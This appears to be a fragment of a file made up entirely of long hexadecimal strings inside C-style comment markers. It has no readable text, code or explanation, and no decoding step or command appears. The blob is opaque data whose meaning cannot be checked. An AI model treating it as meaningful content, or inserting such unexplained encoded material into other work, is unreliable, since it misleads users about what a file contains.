018ac382bf3a00299c1694c7a8ab6947aef19a8064ebfb6a5975640f3e97d090b8b02c3d96790b819a1ecee3b1737f11853f687dc5b5b0fa0151812377faae73f0e66c9b23e88fecd01848f1afdcf41723c886321bf8e1631086cb61abf1d193d9ffc6528ba8fe571ededf62bde5e05ef8a9d04e65d9fb374e2409da77f2068120343bdc95ad644735f3599540647ecb37dd8d6c922e251218ab04888bf9cf80248302123df11de2240f1a2759a0dc4ad3b12fb81fe496155adcdb160568507258bc2e3045d7dcfc3c5dcb74c65be2d2a0853cfa2e0227825b1630eda182d4e8bd7c97dda66545eee4bf43eb0e2dadb3b0a306bdd78888f1c12af51c58b825b45631f8f6f5d6789fb86b79b001c76b60937bf319909fdf5bde307b7c29db4a1e97fb51601bb8a665c311ea225cd14e72bdbff2faf317998c4b36131ddf5cdd67d111d6c36f867ee5d7ecf06566593bf1a2786a6af2f7cc1c287406c54b2acfac8aeff15e6fb01edd67a7a650dc2a7912a56efda9f922618e5fb3109520d23da142574fd929fe9193e28c1731e1f41c3113a40f1b1f6a2ea90893554e19cc4b81a46af94c122013b8e5dfa18e509f1af9194eb9d34661e438b820dd358298f03078f03fb38e4c5738edf7a4aaf0664753f78f5f8daef8e9d08950909c3f93590fff27db9faf4e790e9ce4591f31832dbcdb9f1c78604d25aef0831fe731bb9b6fbb8d92272430f487182aa815e658d31e8f99c7af97c13c3ec121209e2a0d64923296084c6b725ab61e702569dc2efd926a65e0da453085cea63da5588b29b62fcf0d2e36872faf46d566cfe52ece26735ff35e53cfaa6aa88b121dbfc79f31bce0467d3ec8899a4053315957dde60c39545837530b443209b0f0e42f8891a1655e2ceb0879172c5edf760bc800576df6c516cc442ee12fd4487894249f3690f472819739629e4f6b6eefc269320b64154369c53b5dac542744d091fb8c6bee9ec5b50ff002ab46245dd59dd0a5486cf5ef55acdac093777938f06b4f8a8b50cb249a26c6fbc836f0297237b66c19c029f152acef6dce60d4de3e5a99888e95df0d85337ea380cd54564565a3c1ea80eb1df3e45b3ba8bcf0c5560316a89aece5693b61b80cb51b2f0448862e46399edf364d5d662a6d6e7b19ace410e9549ea96a557ff600e6c8a9b598fdb8480ff8e453c2e7194f19f661397010e2979800ef45475d6899a098d4321050a3e5b00917fe5f87330ede3ff73d85a7daea6456a3c1a4d1aaf6e3c011039f20a7ac30baa16b69996f4fd3fe482858afe226fb743fb3c4f28fc36d8a75de978ca8845c1bb2aaf6667d7c4c7e76fb293153a0f3a8a494cff6c88e102323ae9598c1b636a75c43af5807d75fd9cdbc6d91e424ea9601feff9e2083deccb408fd81363332fb10715c782380cd3796a1a63003320bcb615c44153880cd31505a42a5d0f85d342b166f197cf326b8cad5d2abf5539655a5dffc703328e080bfd7b9e7fe654e3af560cade4fb67404a027fc9a474d00d913f8ce8bc61393571576c9c0aa963de4db915f05db634fa74e3fef633d827bbb661552ebe4fa398a4ceb4ad43f70f977aa3485801f1ffaa2c66344a720317f41300f42062cc43f30abf91124552e91cf5fc5e7bff3f283ba7addc059ba3480834ea7ccb47ba63580825ec5e1391550c78ed20212532b2d6d86687ec1decd70d82d5a8a27eb5908df1dabed98c4a8d9fd471f68b1a8284001e01ad267ccd303785400d404976a179505e49c4272aefa05f47117d5c01275b2e64a8ca7c323f26ffe6a91898934306c7be453a3e4caf5e130a65ee612a9a183adb4f379929c158133de711dcfa75d6cf38091eb17b9714dee3898acda6e803de0afe79c3a957a48fa590e72e5157614d7276d04ab15fbbb38705afab53e301604f0fb68813f54a5d3c1cb69781d1ae9e92555224308d22e73d2ff7e24d81b25d3fd558bdad40e6cd89e421f10a2adaf76049e0a9eb293a4673a6b14f1b7ee19a2a3c8b8566bc484a1dd69e1c95482b223b2b9f9e87274c2ff738cfcdb3234d932db5c3913e9e8dba25e3b3526bea291ef3174d75cdf398e1630d5d53bdb2a42ef652b09bf6430956ff6516a7177e96d30fd802af8c6bbc66890d3e401eff77908496e483e0e51246f07405e929761c44ec7e011cfdb5a06027ad1566523a5f4f39c605a81c60851898e2c5e093746a55809134d87afc4ea55fc618988275ddc57a478e8d698b3bc39012090e08e6a0a40936d3e86cb*/
/*ecbbbc5e0d24eb98ca7c276f73e70d68ab34a08510890447fe7eb03ac4c83d3e722a413e934992a489bbf4b1ef0278f2c12673798eb78a18188112a781d8718224a6f6317a17375673b982fa4e40cb4a6f054a67167f791aecba6a9890a8cb065c98a5eb395ec143884567d3147ab1557b515857ae30f7b16cfadcfb07e9991c98e228dcb3a4e035c144c95fb1f87d4d9a1fc2d3feb47252c8e62d7ecaf0692fb0b8df66f58eb2995cf182d5c4d1392299a84d333ef921a27bffdb0b23db37dd314f1eff3913eca8b4222c3ed6937b63daef17e7f014fc8f54ce4191904ca31406e74a7cadcb766befdaabd042659469c8c8078432018926435758982b78173d5255e1ae8c4fae4fca59d0c66b41ca6347e27088b8ea5ffbaef1a94b6b3e72b2a38515c4253d62c27568410ed4c4c950c9f0fbbe54e6567b6895a8c98caab53bc5935378bd7dd0b37b882da49718472f22ea6a86d03fcb089ac3328a3ea81e0152114c182afc204d74397946cf6f4151464f99fbece28ef3abdc016521aafde34228b92ab3b1d33d595e882f05dcd57cbd09a2ea6b38037c172bdf3537dabdcd608a0778d0ed8801c9554bee92138087c55fbde30e86ad6c5efed92c0691c7dc0806d4f24ef2015602e8f27be00ab48baeb6fa45730af3398db5da1eebe137a94890408a21dfb1304a164647626a4139bbf021eb72a2283283f3b8d8bd6268aeda28de18c963c6132f2153723cbb631d6a94e6fda8f00bb51062e74ebb106d4c82c93a4d18f1e1f27576682e6dd06ce68010a08db985c1472f3e3020443c7db7fc6194ba4cc19a34d405e7eac12bf8f85304ba9a59ef60fe8e43b63d104218460b428b2db8f4031f48eb6e59c29837f21981e0c59cb79db61e615325264de2e859168c4333ad96b537b6160c2db9a45217caaf0e57ae9ccc9bb1abfa6bfaa4c5616094d2456defce5c74697f2117622e27c809f1dfb72473983c903d19f83d1c0026f0b9ba06081d1a96b1b86f9a9db6d7c10bd64a562c321e3ef15897c6eb115f92a5eaf59600dfab3f2c114ff5daca001c65b26b6426aa38c619114ddcc727c6107287fcd6bb6703652b9bdb18939f4de0eba46c41f30af9d504f8edc7d6a52e1463a751511e8041811557258e0e1c6e86754f3b5109d511d3ed5ed7bf81ee8869a032c7a84d4fdadb7757a2f2708ecd32102629ae0cc83d9cdf987ab95f744508718cbc95c6b49624fd553955c8ae1c7c3bd04966e67204cf0a993b09a85239ce9ca55e5f9cd100b99d4a05cfdfe4fb65d14368363652c075749cc55ae1f1aa39f4bf62c41efad3c63a5cec9a7ebd40691ab6fda9d7adb4990c68dd77bf7961c10f22779efe38c859d7a1475a0a067708a88c52e8f66f0e4ab81a2ecbd603e543e6bb91df96c6e425d43b5e2fae92982e42217bfad8e1cba1f8be6a86df9289ec67ee3d3de6ae36e405108068e8e56e485325eae66f079b458ff9637efa544fc9990a91c0143ee52b1d318d3f89543f59e69a7cd5c7d91a84ffcec770523a28d38b06dbf60bc3ba26c67dc5782c97a1c71a7918fa3019a97784141bec7dc24dda0b22635ca56aa86c5f54bc6c1354b2f7709b090ae7ab74c1871b4e63b2c2ad8809e43e0b8435936ed16562586f5fab12b0f167b8e6478e9973e2c098b6e6366656289c66d327e2ebcce2d1d7ef2b73e5374aa102be3638fb79133238a16250d584f38116e45de7690c7586e31c9fdedea0e0b40a27716ddc3a6555c54f741d6f8dc4aa98a0b7ab4992ccad8d18cf50ad88eae27f7cfd095a0587de8f7b3bf196f965fc4938d5df4ba1f2a118c5ee925d4c6f03126b8f613af50fa503bcae80e0bf435017ab75268af5cb3ef30ae75fbcb0455cd16adc1cadcbb76b2ae7e4955b8cc94b5e8a26eef12dab0333d55ce3efce6f856d59d14507a2d95a84419394adefb08bad77ccc6cc874fd0277767ca31fd6a8bb0b6a2bdda9fe89f8ca758ae6d1838b7e378fac999212dfbd528796164f49f648642452ea34a2ff22b125eff5520b1328630f4b0f8faf71d89c7e8685d590850e6f1ca0b9d0aaf7bb9ffa1a2543a4a5a1c65aa9130989accc08e07adf53d7603cc02122a526716d7233cae6666d6b912dec6980ac228cbc2bb9d805bc7c1c6601744fd82a4aa5ceee85c7f2726dc4b15d1e4c674d5a1363b79ae3002d61e6f913ecccafb6be4fa9c2aadb2362e531edc83f4c8a0f718e3243bb1ef1a0de4d456d0d754f6ecc474257b8bba7e4dfded076326da0ccdce52b402065e71fdf31f2f1ffbedb3dda966882d2ede05fd4f81235dbca17b72bb9314fe450f0420e9c9177a9529027acf367530abba139c3f6490bac624a8ed3c8adf83f2bdf3464f050553493435e67072e426e7d822be4555e156f916eda5158a7470a8e6ed0488bff83dbb0b74408c2aea6e5fa6e1fd181e597aa682e93aa8b6bc3a6a6a5a6b0961e558f8010c3dd422e34a0891268858163729633cfbc366399c9435ff89f4d5baf9fc9be17ea2b9484086e6b94fdefbd828866e29a642025be069570af1912f921c151f62566c9395f1dde8bc4287b3f8baebd821af1ca7291560f818a91afe0be23282168b91fe009de3845269c80637696b8f7846a60470055e10afdbbeb08fd5579119d2d9ee3f89df223d252b18db7a4f04230156c47e15e7f7304f9c8338fae70b188f71bc16829b112de7d74ace48fc4377109437ddfd776fc1943b975b0af0df73ebafea351f332ee00b0e486a452f3848e8948c48b718976329d2d1d0e873ba209562663d19273df92630acdc801ccbd5641ecef4b9459ba4*/
/*63a69b95d2a18633cbec36f90dd9d1cb3deedeff276f8975cdf8aa262ff6166cb654249870f94353664f12b7ac5b39d77fe36a2ceb53b7302336013cc54b2970af32cbcd725c6a617b8d06486ff5ec9a17ce2fb4703ceb05c301fa51623501546dbbfef3d69526ea026dc6a825411948a9f1315b942f01071d42563f5167f45d4ef0dc65e012145d412a97c1f0fe3e2e0444e090f707da116b955d6d2c7769d3f6079b0fd1ca6a92cfb61dc923dc1d3c96a714e23b2dca54b26948c15f3268a02cb83f2802795426e0bbb9c5b087029e4808ce10bdd723aefd90f17f61cd833875c613c59051915b767fa1c6607e5294a4417b8c702a1a0605ee062374712920bf960c5a4ae98a5e0bcbbe09a2ad1f79a461db38ab6843fa91fcd8df75939d6aa2112d23632aec9c81cc2938e431b5f7cffedbfe0de71ab71534923e775222148da60796f6188ab0d05b2d7316831c0a55c3da632b225e5ea764b8161203ee14fdf0367fb15d3d19662d8e16b11199bbc1b428f8e0b697415fcc665101488cde1fe0251cfb91b3b68d121ab608a8a4af6a01e46a17d4621911ec62cefdf7581abb1bbaec582e039684a39a7458ce81a2f376f92cdd117b59d6c37999c97e7a9e283fcabdfdb9f3b82b68dd974c050942ca8b81e3a94294809c43c52b549c7e6203d443be0d41dc3cf694b4ada9316d5df1b702f5ed44479cf9a68d37d547140e63597583dc67d225c8d433d1c4da03644c3bfa1202d18532aeaf5bbed8f16d714ae10ddd2e6b8e874e5e085338fd38793911392e68f3273be83bc6e9130087250e30c3f39b9f0003206e0bc270baf63440aa971deeaedd550f8556053738e0401023804c280690dfe6ad5f62214c11f1d3fbc4fcb0a01900969129f08677e4a5505eaa191d59d6586e192326075c44485f8b0fdd56e88010ed8e4a3e6591a6f2a3cc14bad0bddfc7ff99c28b14007e35728c05a758a8cf82857a35ed57bb9ae4507ce13a1f0d5f314088a750e71aefa11c19c8739508178a2376aaab7cdac20d6d3839850ed7d6922dd75265963322c1647f263cd5a6522a551103fa81693f505f0d2b66a39b14b1bccef8b3e572bff30e064e8520d483e07c109a41467b1e0c107a2298fdc0dd4ae01ea63fc0b18470712a41a0557d17fde855e1cc962b2fedc022278fb2297d8d6bd479a7466d6f37faa7b165747d5ee883ecc0bf51a1a45a7025c9dcef83a35e56b93f713ec95a83f7cb09c559c8b261a4c29facf1727dee3d8082ef7db608b6cff4f9a3a35873f1bee58970acf882875c7d2f14edcdd80b236863b4c1bd38d0692983723e1c956da8a4360229886dad48032a429d7119f27979e05cf33bc21e0d9f43323e2be7bdd8a1ffe565779cce1c5f5b052f257988377488b96683cdfa2f4bfb2d256638bbb105f0d2b0887670de23708e99d659f288cb5375c0dd649b0c4f39307d4ce2f693404fc7c927770a8d2e6f0c34fff31233a5596fd9259f77bd47c3a9d67704956e49661bf41ffa540027bebaf696dd9067c575087b9e25f4a45212869a028ee37d666bcd460a889555b13be6917545e895a059721771f2643b6e83a2a6ca51fc90d6e8bc73883a10d9801714c2c067f76082e51fddd1fbd82ad5b2e65bcec1658eb8794266db78b5c109b69e2c165dfb84f39d4864f7ba4ed268f3197c89f433c32b13a25f2981275431670a8d5fd3c7364c17680ade4afc37f6701cbbe07b9aed4bd421e53fcba7cf546cd08bcbf364c5005ac6a0bf352f27cd124a75c7895a07bbf56e1dd7104e4d67d19266967acbc9bae856de4906af7cad1c65f06d108d8fd16df9f205f6de10abe50158c5a95e19391c2a1db388697cb2d4f6a9a902ceb318144b4bb251f61cb17e83e8a34a884215ff9f6fa622c394bd8af72f61c3b6d7927d6d3d1ba7cc57dda2f602c101667fa4f059d957f0e2c7b104f9abbe9f1562509f74f167835d3fe2d1bf45e77dc40996a997bed7d8de48fc2ca6c4403182f3095a64f85e4f1e54d7dd59b393372b8d08977411d9e64cb8647e29a16c4f0755354f573f829a6cfd8ed8752c2138849918e6cb52213eed922c6e758361da54d8a3d1891c24a20f55b9099e6a54e9dc6c36a6ca08df494d9fc5349310aea2a66f36062b84f9fc0fbe6a70702bc67277732c655053773f6074eaf252ee877bbc28e68bb3b6680732f5b4f747e068755e6db5c87d9db42024b1da172e3156d317308d91e55efc6b128d135ea55c57d9ce5ce16904193a18f4f280a02dee2baf99ad33f9fefb26ad6c73713805d4536d98349b258f0e7b6a1496f7ebcd12fa11f2667e8f3c20369e1a366178bd3ba2537ab790b36fb0218be05e0e6b81e640884ba6e90b6ef5415b3b378076972f6b95b3958d9e7814d5a5650f168a138213066c927084f2811089926698c538c063c6988bd484caadd013f9b38c0e24efe88b2d7a024a841e660f6078bb65c2902ab05083c61ec436835b6ce33ef69ba6b9b3e23026c201ea57d03f193ae99f614151115aa5aa1ca2746313747bc5a9769d9e78c0e8bc266dfb1eda867261a2955eed1f17dec54743521b6e03b3302b919d12472e1553a2416c2a1495a3e12f082d8e259976fcef1068ff641b25acaafc0893cc57edf3ea8de89acb951b888e7a9ed9c16d3dd104770f3d7274f31a961e13d2861ee87f0c662cd581184a5c0500737a2392b909155ee09c267b32286dc828067c4c28b3aff198d6151e6760b401d897ce153b8137e2e6f8c50d297f1e59a48ce5e78a75446a4bdf9f640dfbc0485ba517354dea9040205500c5c79bf08afb20f0*/
/*474187e999067981fc5979af32b929e2e013375d75140f749f7b939f870ca9a7c569bd7fdb574c13b01da6508d1805dc8f1a0eca2b1ada31cb073aa9a705f816b18b79bf58c375ddf6187384094680d25079d2b1412198553664ba0d8f0a4af7e6758e1dfa0149a9cff968385c55e12e3ac907488911af275cc7a4e5a714c8efd1d9de0b643ebd81c53a2cebcbc69f077489a35588a4a725a994c6300b8fa7f1ac3a2dc05cd58d517fdcda44c283a9a2f3c93b44e66ef0dd5d8a8fae366bf9cec30add05c12e67bfc819d61abb8e7d4057e88dd889eb25936ff11d490458d24f90dea6a7335d27963fb138ebb6f5e74767b64bc53f2c754b95b8a4137a409f0d58893b7c3a7359cea886fff30fed89d9aabbe0cc63de897baef93d49edd611a226bd6e33f4eb294d98299ca2822915b69cf049d059ca26f7b7aef92c449bb3265f3c6ca15bd0785c6130eda4fb8904a9f371f87f6b977f6b500ab70a284c2aa6347f87c157c0c732f08caee9194a92f05d50020cde4b5f5c7cff9309a960e7b5a26d94e905707bf20f40e2f5c73b4e5a9a631e48091dd20cd498a4cc4bd4dde656f7891f12cbd1f231eb177bd4892d313258e6f5868818eff52257be8310c84e2f94b7798f6278c95993d4ef0bade2383b5d36814800811b26f571b729593fb71569216ce210c6e531f5aedaa60d5930134565fdfc05a81538e259836a8438a75c514b2751d23b4e58daaab06031b099bbd9e07c201286d5371f99cc9825d83144fc782bc13e37ef4192c3948a8feba54ed749a7713e9a22c0a24d0643689c2ea50c059515800a45e3b61a7cace0d4f451a4876ec3f03b577c483bb814259474828a0b5aa52664a9bda39cbdb11afe5771cf6486eab93bdb6750f490d82054ef37c51d0baee442e73ad9e653f5ae232ca3a4323c960955abb3d2cab386292d32ca22a564cd07a96c3010f7b155ff6dcbbf2235be3e458c85ea59e88e371e4ffc26c7bb5ce4890ad0e7c408c517826cff0c85fa5937fe40ec7c834cf703859cc8fb991958d940d9092aefa1e1884e46230a686c6ac77456c28336ac2a15e56c6e3bbc3e1c6c3b32cb0868e186a756e66b9d9e37a08d1de5786cac075251cd8d11ec49896d1d716985535e57057f08430d507b320bd53065fce5eaee60793561adba1cd5b126aaa088ba497f328c568a6ed99b1018bb5ca300580f009bb8c30a4dda8eaea6328fd984633f5b5d1356b54940003a46d53de2ce80e3121aec1be9f436c4d36b7d524ffae8d251d4443f982bca6e9ef8fdcf53155fa30599b83c02f85150e2ce82a22792fc4bbccfa0e8e6848dcef13d3b2c2e91ebbc41e501df29daf2f34ba347852679f2f44c346b48948d3c42171f81acca78736111fdfd2c54d0b8dd990abdf8e2d5804c48cd6dbdc4cd7579e294681aa69a7127513f492b513d0e76d0f645ec3f7212bd3ad8aea7982fe06af1471ddd322d76e2198e7c7912aef167ac72443e8f56019325cb48e54788a2a0d974926c610da5ec419ece37fcab4b1c6d03c8553aed134eefbc24db1291e993e140c5c162ca540f55e476183e551642bf769e2669c9aec8fb25ebc601355ca491006a05e599f44b5d0e10a5b1b7bfbbccfc247431369dfcee47df4c364ceb1e69cbf7b54cfba29431c0dd51e29eebbfa2fed05e4d9c47788f6145d6990e66a8f636a542d7cf68b90621b2b5f644056f5bdb8dc4968800a31ce46fb4be17b456b3fb6a9300be0ca9e0f1bfd41d5c1458ccf53c707f5fa27c38711fd1b5d27a49c846aecea2b2b785a2e699a498a311a172ac35b0c5efe384060ce98d9da49644a1e13ce72f5f58fe8419e6f827ecc9222c34c816c5f2b24b0142d245905b06f8de17ee0ee66e3532767b61aa7dd06ed520ede67ff1f0c463e5319952d9f7dc67fbdfe3fee777d4f52a9ab2d6e7c4d1110389ed4cfe174675ecdb3b8363e912ae25527eccd5070d4a4ded3e158e0932dae52db0f09c76ebf83a57c577c2e6f16423fabe41988f0d3113e11cac6f1dfce21c20979caa021bc33ccbcb2d76a1861d9b3e67213a648fd8f26cf38454ee4c0382856072b4e48b0cb9691d5384a13206ccefafdf0a365d4ca45b1b42e5b71495feccb542ad8705275464fdc879172b0b55ccf02f2e4ce99674a5837327b2e485746e5d79272ef5083fdf9c9807bb256b24803ac03db9d6d76c320a8f96e767981886ac99665e50c9a1e3ad413e61ebf67d78d4cb2bee7727ab9474d81fdf269e9367994af58dc51ace98199542216fdf36d479001cdfc1ff07c3f614b4ab3ef57a6fe9cfdc68f9467151d923f12249b888e040edb1c8ab2faef10dd2413fdb5298cce154f22a7c3e8572886e7caea1ac0f256dcec4cf27557d3470c4dd056a5cbedfe6560a05a803ea617453e104cec85f408099f821b869d1c4f5c4d1c383d112f4cf7105a6453b254403cdfa73a10849c9d3d6e84c653d6bc6f7169de545ae86f0ff0a3e0df2cc2e37fd84536dfe047c2dfad6083249d3046fe3fb172316ba37776c90393859180f0e0b2256e5a1070001e55db99f66f4f4e5275d0e998c3f0d92f2e7c9d45e59c0eb4677d8461be873709b00ad82e14ce1b26693f8b7307ca01d0bdfbe626535d81e864c8d7ea9e01a1373b0c3cf8ea43930e6cf49dcf60af20ccc7fff2bf44db0ada48622cb80aca7e29d5e2a20d384ca028bcdde435af798e0e483b4f56b6f3c6eee5779251e30ed35920a7072c8f0c0870e6b5c5a0138ed0fc2942e0127be89f0ab936e2bcf00a2554cf97d6f0acf05ded1e2f1664f4d47bc5252532760cbf15d0dc72d53*/
/*14ffa07520e8a6b1a66951e9c18109f6ef80955b64fe7ea3be68b696a34dcbf0954c0ad98e3c62eb7b8e5f02fbe2b75bbfb7be725c491bfb69ab25342a249a326288ae5c82da17ce6faf9b5f68442567d19b393390b7ad63500bcef6a3a31bad994f7a206bba418721c17f3513cde405ab92bbf89f58b0f57b36b5fda58cae102ba772f39efef397ceec9bbf59b2dd958522e106ab5784026b6eb1b3a1703a81c698e0106c1ea8221f3778ac0bd230d705b3b4b97e451d73f4c1238296c5f1fcdb2ddd85765a38296637a80d771dbcbe19572a51b38d2226818d4c583ec3fd3cdf22b4bfc0884fa40e48992a1bf91b1dfc5e0d4e6b87337562d2f382c5593bb618057ba3ae56ea1493fdb26da0e96d8de3e67c2758a535e9eb2a7324eca7b6841ff7ba0a344c182b1beeaeed90317703081676a6d52f6252e3f364af0bc00d2e14072d5b304341e9bbb6487a2b7a8e9a6cc08ac577f4c30464ee121776a00522784bde7961773dc2fc4ddbc02e962e02f6f171c5f9f0f7fa29cff8e476051b1ff936b6a991e457bc4eb01af5a968c701292fa1dca15cb17db65490fb3f4ac470b14825b3785285181142e10dbf55854eaecf3c8b253396ed9322c29fcf20451101d9baf7b85721698d1fc5b2f96a4eae3b54e098756448b8a00d48554fdbbddfc80040e19b309bca96cd343ceaac0daf93374cf0dd39921a9e662aa937dea6ae27a62ba25feba43aec40e088d90875bbe4d0455744038a73411a28ade28f7bcefac30c27896f5b2ea73027cdbc8d7c6aaff7e32944bd63450f355baf1a06aa75201d522ee3631f80214a22cfc19a5a61c2c86005cbe3f8b7fdaada1aa6950303f627eb843fd35688fa0718f96398a2d4e557bf174b62f6e531f53532c463d8fa7baebc11e4e1075895f1a802d71673e5f658847c7979c826c8dd8f0b586e3869370efb168c50d29608421c1e510a651e1994c1ae2859345766ed54587428f7f69ea4d9879790b7561f43806a4ae87e85cd99f11ba46d8b55fa0514432fb4ab2ba7ca409f882d33afa9dbe45d9bbabf1a3986cb35ccb99435615ab684aeb797e6dfafd30226649a0b03c6715952924da989e194b3743e8bd35d4b22dfa669458fac75da899ffa0d896678213d91b2c101902a93762482240912974e4b87b61363ccb81af7df1a864843657e63af0c58fbbbb4ae0e5f53a75173ec666fbe66673bebdec9740c70fb54c53b567a62e1363930fbc5385ef6145cc91da61f1e45332d734979b08c5a53d36ea6cca649affdd1ccbf82815370d00c0e9adcd05e63bb131246dc345f0378b5d58be8546262e12b9376c1bcc6384ce278422bdc93aef878366c307c3a72a556cf9186f57b3bbcfcaf50c8ba60c6285a2f777bc21bfcbc9215c196289a6256f4c459b13c2e1a2d19c2c6ff59d7bf7010da7321c2adff747611838f904b71280b6103a1ef9440192ad755b460e2599c0391a9a6ff089ca3f1c1a5f82643a535e9da49f6d2fac9557400d582bf83f8a1d658bb2f52da327ba09cdc1e035b66e044fd601751b511b615db359a88dd4135af63912a0bcc995b84d5458fc9d44dff200e56e7024d8046763d76f215231541b3d11ef0505978d6383114761cadf058df537d929860cec89530094da58922f0cc59875bc65316b4604b94133a163bbc38f9ae9d3dce11d4fcf8e480744b320733cff05fe2e74d5dec8b9f45591f804978a7a518da369ae5d0f4f4321db0ae6517e9a331d72d23849033fc44c1cf627c9a04af51b6142379145487218dc9d0bb6a7f806c9ea42c41acfd46a9b5ecde7a4d2f2825738720d8e412a5d694944f2977716896146b73fbe2be65d9f0e13118a313b3a5cc77bcc14cf648510675b02978e176278f5ea91e526b4a14b769928454b5b86c691970948b6938c20d07e3d99289b1ba2de1c09ee253d4ab85a9f2ff89f3924417c708dfaebb87c52597e39cc550ba7b078c5e29e4a098b34e1fb07cb263bd43bd30d4b2100dd49b4d1147e3c329d1b1dcdc2e45c0a5d56e86de73d2f50658c86b50aa3a01fd346f66c358da04e6cdca9528b3d58cf932d3b4845f164ad2a8fd26bd2ba2cdec265ebf1ba6eb50a45b26b38ac6b18a080b1e4ed0b2ef76454054001414e5e24827aa2de90ff5101e99b1de09cdfd7f6963d2d5b46f438373146a82012b2e039d24df6ebacc886d7d10c76c23ba0a7603d2d86dc07342a4502c17add1c9d44171a42a3cfedd8afdd110701e29e134f3d18ae6e3467caa4efc8616c0d278acccce8cf0249bdb3bb631059efc5a890ba23bd1dde9544b2338b06d893099dcb0261909646f6f991274182218ee08d86fb5854c1021414d16b0a1876cede69fadbe7364ce3f578558df568e3b8baf61d1723a79a4104c0559a31e551c3933755e4e8641c3b8a21809cb657b7d9761ca7e5026ee990c443c4bba8520a26ac681ccddd39c77db6b75ff976eca3621073b5a5b7100ad9ccd58f2df77b690f33270acf62adb68e8cf33cd9c48606f92d2e8fd139d22960ef9c64d95ceddf084bb9aeef2697fef7fc7a78adb434bf2bf3a240aee2b7e4016ebece170e87ad8a3f033381900a11e5ecb16e9e8fc542f01ea7a90083027bd1b9eca106a64120139725803fbd209061bf05fa0d257fcb4586c27237c631801fa66102a515dfacfb692eb0f1d68fa0d3ab86ce5f337ec7edcc10c42227b726ee6f60069671f0cd45e869f31344ca804387c7f943849cee06a1c26b3e5f50a1a9a6aaeec1f68a540e46dcee3f4be03be68875fd224ba7e45695856ab9549af77ea6885784a1211c6aa1be9b547*/
/*76278334140dfbcefc21b531bb411077f96d3d48a34079bbde3dbfa36a5d0298a582b061b66e12408c545f3256a35153771f9a8571749c5c188c7a4b3b2891843f754ac9ab5df5a57974aba49067ec2c964b6b380202ed50f1baf23bfc75b751fd9697b1d73487a298759b2ec4e0dbb9862004f9cbad3c770d80d6b14d9eb98effde07897e1dd5cf6d0123d0114d51511c1236635cb673a9c8d4828634d257b3f1eff3f8a8a61997ec53f4304b6b4a249bbf2b7053f1ec9ef8a4e798589196b6a9f0621b8c540112ef82605d8e621b6b071cd8f783dda0a2a01fa14110ac1b3d865577cb891628009bd11ff379f19a3b7cbf231afd4ab1481e7f5af14455df687e6473354fc7150b5de0c007f265a916ac9ea6c473fc6b12500c2829cdf0df55134798b4210a6b92651f14c0e83ca9d1386c8c2a549bc4dd34c27b9439cb53822bfbee8f53a25aded51522dd998864804178243ae21dcc709e68e5c5c8b843a4c98d12483cf64af5221a78f9750f6b961049ab5d88ecb4645ba39181b9911cc4afa3bdded691403b806cdd8d9e3b317e9efcf2ff736b6c19005f9465dd9831a27b8b50ece566be428b9c23c6886cf825ac489f2abc3152f51ef2641ebd178844014201a948e035134833cd9331ebb87d2e8351f638e5bfafa3eb22e24d118603c8622f3fc0e20684e4db769ad0ec62fb7ab593e66cbf664ee5059ece4a3d751962a182a6e261d73e5c4c5dcbcdb7c1ebc1d64d1beb0e39c783d6b2450da953eb6c1beebbd8f66b4588a9e5b1e7b53bcd1e84c308b1f36d7e90b5bdb380d0dbcabe8d4734c8fd2f845cf89841d77941f5559e6028ef49893535308e8573a2338db4a86d8da02c399bd3864105028d88717e072a5e96ba66e7f5d91ae6a25c748681e3fdadae14225a97933090c2df735175d6974cf9484fb64674ebe143032aa1206b2eabbfd2c98636e4bd96be4b26c5d79b50364b10acc0840274a654aa42cad2d40165eb434d76a9fd25d3a18589bdebd14bf1c715a2cb1e9584d4dbf14fc3675401d07bacf012d0af2e1e62aa8f6e62a8263808c4e7d91e408f8583e1728519c6a54b3f980047708a5b3ef91e73b9c18ad1e27d0784c36ef83fd43767dc6f3165b2e8e59850e1bd34c0f496b1008b1844cd9755c99279e988d61a93d41ab6a74992063a45fe8845da75b4e427fccbc8d182ee1cf080ee28221e8c626a355b529380a213487f9f1b4a3ed661d20c51d1d36a24b66f3b210f51bd163a59b4def096d5404836faf06d01d1b7f158b3e31462c62d9d6a45810f79a0f247a75e39a3ffb1f793856af91e0e4349ced2f42978db43aca8d810f66e27460bf4737ca153f794d304580dba3e94a1e299249a547cb216caf9d5f86013bf9365c961636603a7b28213227ea46db366a94a8e5c9794d3e1ce798f09cf18bd32439fd237b9c20085bc35e068f1593820f58f0318a905b9c150cc74f6e58b56fc881b290712eaae43426ea99611174d9c33d5968835813ba106319b7b8a0c57409d97c63892973b5f5a8f6c869519431839e1cbd1a9ff30bea71a55836c3c632921294b5bd63a9edddaa8ee7da5b10c3c77d7a55315610269ecc03152511e7c16e32af4fa8a2d4f6cebec3c6a63889579366b3ba0473f0a6df1bee0163a86d84824210fc8c44004b76d0dada3a1f4e07a049d5a85fedee573de394e40c72200c37b2ba73b138cd7fdd742c8dd3bbd096e393969bcffb0465fd74e82b6c9a5c76298d16b563bd9008ba56d5efda54096992b0867eb2893e33835571801f0bc2d30898c0b9e1c2b73405daf003bc2f4727cab38ddf2bb8a71044fa9cc918c81f23a5392cdaa7d9b2e9178e8ff841a4dc3326103b2459cdfbb5b95f0519c048a6f4df9c36205d09ed6366ec08deb592e5d517ebfa170ac783ef667e8d004ee69a3e3bdedb0d4c56670fdf1569bb584fce55951ea9c502d04e6d36faa333581a194e9f299c5472762d0698b88098e8fe0d0b894b8be2a9a9744b9987e706b5e7b84339efe11368be2f6b915d8117d0f513cc5e95daa79da29cdac436bac0f8d77b87de4893682b63a805b1d8bfca6269764f6eeff135a058187dfd92f4d5d3047f64906b6256a3056071f093e2c00f2ea8ed3f5f36f8cf3d318d948d493e6a7b608f9983e72004935eee7bc0486c6ca15fe4abd0860f9378d3d5c92ae1d294053a7b9c964691faa1cfdb98cfac2b023cb28f54da7382a2106b3f94501f413f066dd947099fd6b14989a847530b4e2ae297019934c50fcb97a3bda91328511aacf19ecdfac799bf286b3507280d3abc3d2e28baaff804cd92c0ae93f074aa1f0817bc0b77c756b46d5e5e4c15ca3855bd7234bb0828c5bffb5c040699e87f547e43328800c455d4038f745f5b923a6ef4af7e8728157a0d73b3cb9bfd3091075a0c2fc9ac4a8e345b1ab39fad2388bdd8a3ef165879f364f0f5cf25795c7d83871e79d2c67efc72cfa4e979d7c57147095d67416b0bb424043d8048b8221ac11beea455c4d5b69b4a715e17bcad518a14928161d7b2829d7626fdfc0f8e0d1ff0ac3beb3dc612260babaaf16661328af1c3369aecfe557f6b46736bcb1237ce75d1661079fb53b377abcafb7c99ab3582cbfbe9bf2ab9c3a06216055472275d0dbd3262daa27811ccd753d990850daf78ee41395b25b90